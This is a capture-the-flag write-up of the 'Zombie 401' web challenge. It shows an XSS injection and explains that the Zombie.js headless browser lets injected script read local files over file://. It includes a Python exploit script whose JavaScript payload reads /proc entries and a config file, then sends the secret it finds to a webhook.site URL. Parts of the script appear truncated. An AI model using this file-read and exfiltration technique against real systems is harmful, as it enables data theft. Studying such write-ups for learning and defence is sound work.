This writeup can also be found at [https://www.bugsbunnies.tk/2023/03/18/zombie.html](https://www.bugsbunnies.tk/2023/03/18/zombie.html).

We're presented with a simple webpage.


By submitting `<script>alert(1)</script>` to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.

The user input is submitted as a url parameter like this: `https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`.

This url can be submitted through the second input field and a bot will look at it.

The webpage is the same for all versions of the challenge, only the config changes slightly.

Zombie 401 changes things up a little. The flag is no longer part of the cookies and is just added to the config file but never used in the code.

"flag": "find-the-secret-flag",
"httpOnly": false,
"allowDebug": true,
"secret-flag": "wctf{redacted}"

This means we can only access it through techniques like LFI or RCE.
At this point the browser-implementation used by the bot gets interesting.

The bot uses [Zombie.js](https://www.npmjs.com/package/zombie) to view the provided webpage.
Zombie.js is a headless browser that is used for testing web applications. As such its focus is on being as fast as possible and not on security.
As such many of the expected [security measures are missing in Zombie.js](https://github.com/assaf/zombie/issues/1169).

One such shortcomming is that Zombie.js does not separate origins and thus allows us to read arbitrary files by using the file:// protocol.

Since everything is a file on Linux we can use this to first get more information on the process we're running in (by accessing `/proc/self/status` and `/proc/<pid>/environ`) and then use that to read the flag from the config file as shown below.

import requests
import os
import re
import urllib.parse
import json
import time

# setup bucket
token_path = ".webhook-site.token"
if os.path.exists(token_path):
with open(token_path, "r") as f:
bucket_id = f.read()
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
with open(token_path, "w") as f:

bucket_url = f"https://webhook.site/{bucket_id}"

# execute exploit
base_base = 'https://zombie-401-tlejfksioa-ul.a.run.app/'
visit_base = f'{base_base}/visit?url='
show_base = f'{base_base}/zombie?show='
payload = f"""
(async function() {{
let url = "file:///proc/self/status";
let response = await fetch(url);
let content = await response.text();
let pid = content.toString().split("\\n")[3].split("\\t")[1];

url = "file:///proc/" + pid + "/environ";
response = await fetch(url);
content = await response.text();
url = "file://" + content.split("\\u0000")[8].split("=")[1] + "/config.json"
response = await fetch(url);
content = await response.json();
let flag = content["secret-flag"]

await fetch("{bucket_url}?data=" + JSON.stringify(flag));

target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))
r = requests.get(target_url)

# fetch result
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
data = json.loads(r.json()["data"][0]["query"]["data"])

Original writeup (https://www.bugsbunnies.tk/2023/03/18/zombie.html).